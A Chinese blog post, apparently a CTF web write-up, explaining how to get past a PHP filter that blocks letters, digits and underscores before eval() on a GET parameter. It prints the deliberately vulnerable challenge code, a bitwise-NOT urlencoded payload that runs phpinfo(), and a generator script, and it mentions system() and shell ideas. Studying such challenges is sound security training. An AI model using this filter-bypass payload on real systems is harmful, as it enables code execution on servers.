CTF赛题PHP7 正则绕过

最新推荐文章于 2025-03-09 18:51:59 发布

原创最新推荐文章于 2025-03-09 18:51:59 发布 · 2.8k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#php #正则表达式 #安全

CTF安全专栏收录该内容

1 篇文章

订阅专栏

本文探讨了在CTF web竞赛中，如何通过PHP正则表达式绕过限制，利用动态构造函数名执行`phpinfo()`获取flag.php内容的解题策略。重点介绍了payload构造和编码技巧，以及后续获取flag的方法，包括利用`system()`函数和函数调用方式。

题目为ctf web中php正则绕过题

前言：由于长度限制，且不像其他题目告知flag.php的内容，笔者并没有求出flag，绕过思路可参考，也欢迎ctf大佬指点迷津。

题目如下，解析flag.php中的flag变量

<?php
include("flag.php");
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>20){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}

解题思路

1.题目不告知flag.php的内容，所以唯一的办法只有打印出flag.php，先想办法绕过

2.因为_也在正则里面，所以 =${_GET}[_]();&_=phpinfo()没办法传入

3.尝试php7 中的($a)()；来执行动态函数例如 (‘phpinfo’)()

4.那么动态构造函数名称即可，可理解，假如你是：(1+1)(); php会先运算1+1=2 然后在调用：2()；

5.借助大牛的payload (~%8F%97%8F%96%91%99%90)();成功执行

6.payload构造方式如下

<?php
$a = 'phpinfo';
$b=~$a;
echo ~$a;
echo "------";
echo urlencode($b);

** 如何理解？ **
对执行的函数取反然后进行 urlencode 详细可自行科普

7.当前可执行phpinfo，如何获取flag.php的内容？思路继续扩展

a.使用php中的 system 或者exec 函数进行执行系统命令
b.弹shell？绕不过长度限制
c.使用file()函数读取文件，需要联合var_dump或者print_r，绕不过长度

以上均是长度限制笔者解题终于此

扩展已经只flag.php文件的情况下例如

<?php
	function getFlag(){
		$flag = "111111111111111111";
		echo $flag;
};
?>

那么只需要执行getFlag()函数即可
('getFlag')();对flag进行编码

以上就是笔者对php绕过的小理解和内容分享

参考文章：http://www.ttk7.cn/post-121.html

欢迎讨论，持续更新中，感谢关注